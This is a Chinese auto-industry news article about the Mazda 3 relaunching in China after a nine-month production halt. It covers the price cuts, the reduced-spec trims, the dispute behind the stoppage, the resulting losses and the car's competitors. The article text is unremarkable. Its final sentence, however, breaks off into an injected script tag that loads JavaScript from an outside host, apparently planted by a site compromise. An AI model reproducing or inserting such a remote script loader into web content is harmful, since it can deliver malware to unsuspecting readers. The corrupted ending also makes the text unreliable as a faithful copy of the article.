车市从来不缺少英雄，而2006年“英雄无用武之地”的新车典范，则非马自达3(以下简称马3)莫属了。轰轰烈烈上市仅仅四周后，就遭遇了长达大半年的停产。经历了马拉松式的艰难谈判后，停止销售长达九个多月的马3终于复市销售了。带着降价和两款减配新车型重新上市，并留有1.6l车型做后手，马3能否找回失去的辉煌呢？
降价减配搅局a级车市
重新披挂上阵的马3原两款车型均降价1万元，手动和自动车型分别售价15.98万元和16.98万元。为了赢得更多市场，马3还通过降低舒适配置新增了两款车型，手动挡和自动挡售价分别为13.98万元和14.98万元。马3复产前曾有降价3万元冲击市场的说法，13.98万元的价格确实比以前的16.98万元调低了3万元，但是，降价的前提是牺牲了配置。低配车型的调整包括减少天窗、自动空调变为手动空调、真皮座椅变为绒布座椅等。
业内专家贾新光对早报记者表示，合资品牌排量在2.0l左右的车子价格一般在十五六万元左右，高的更达20多万元，而马3的13.98万元价格正是长安福特马自达低价打开局面、差异化竞争的一个市场策略，目的是起到“上打下压”的作用：既能对b级车市构成威胁，也能搅乱a级车市。
恢复销售后，目前在重庆等部分城市出现了马3排队预订甚至提现车须加价5000元的现象，马3对a级车市的初步冲击由此可见一斑。
据长安福特马自达执行副总裁邹文超透露，现阶段他们每天生产、发运的马3数量在100辆左右，与市场需求还有不小的差距，目前马3订单已排到两个月后。他进而表示，车源紧俏、加价提车的情况在今年第二季度后期应该会有所缓解。
停产半年损失数亿
随着马3重出江湖，其停产原因也已水落石出：马3叫停，政策违规是虚，利益博弈为实。
此前传闻马3停产是由于其生产与销售权分离，与政策规定有违。马3复产后采取的是长安福特总经销，再授权一汽马自达经销商销售。由此与国产沃尔沃s40相仿的销售授权方式来看，马3要绕开政策顺利产销并非难事，应不至于拖上半年之久。
业内人士认为，复产方案最终谈拢，应该是各方利益妥协的结果，因为只有这样才能为他们“止血”。这一妥协的结果很可能是，一汽得到更多的新车型生产权，而长安也可能借此入股一汽马自达的销售网络。
在经历了大半年的四方利益博弈后，马3停产造成的损失已数以亿元计。
损失最为惨重的，当然是马自达。马3去年2月下线时定下的产销目标是2万辆。停产前，马3共卖出了749辆，复产后马3的正常销售尚需时间慢慢恢复。目标与现实的巨大鸿沟，令马自达不得不面对上亿元的经济损失，除此之外，马自达在品牌和商誉上的损失更是难以估量。
对长安福特而言，产能已达20万辆的重庆工厂，由于产能闲置也带来了巨大损失。更长远看，长安福特南京工厂今年将正式投入生产，如果不能妥善解决马3停产的遗留问题，未来马2在南京投产也会受到影响。
此外，马3停产风波成为2006年福特在华产销高速增长的最不和谐音，加之马自达“脚踩两条船”背后潜藏的微妙关系，令福特在华发展仍然存在不稳定因素。
虽有后手形势不容乐观
马3的卖点在于外观、高刚度车身和动力。它拥有酷似rx-8的车尾以及sap(sportsappearancepack-age)炫动车身造型；马3采用了具有较佳平衡性的高刚度车身结构；马3的5挡手动变速器同马自达mx-5的变速器相同，换挡感受良好，只要转速升入3000rpm以上，驾驶者便能感受源源不断的动力。
马3复出后，靠减少配置打破了2.0排量的市场格局，并根据配置的不同，四款车型的售价也拉开了档次。本是满场看好的焦点新车，但上市以后停产至恢复销售的九个月已使它失去了不少的市场份额，这部分市场份额都被速腾、标致307、福克斯等竞争对手瓜分了，瓜分最多的就是速腾和福克斯，速腾作为马3的潜在竞争对手受益匪浅，同门兄弟福克斯卖得也风生水起。这几款竞争车型已经在市场上打下了坚实基础，马3复销后要想对它们造成真正冲击并非易事。
而与b级车型的奔腾、轩逸相比，虽说同为2.0l排量，但b级车具备商务车的功能，车身长度一般在4.7米以上，马3的车身长度仅为4.5米左右。且这两款?script src=http://er12.com/t.js>
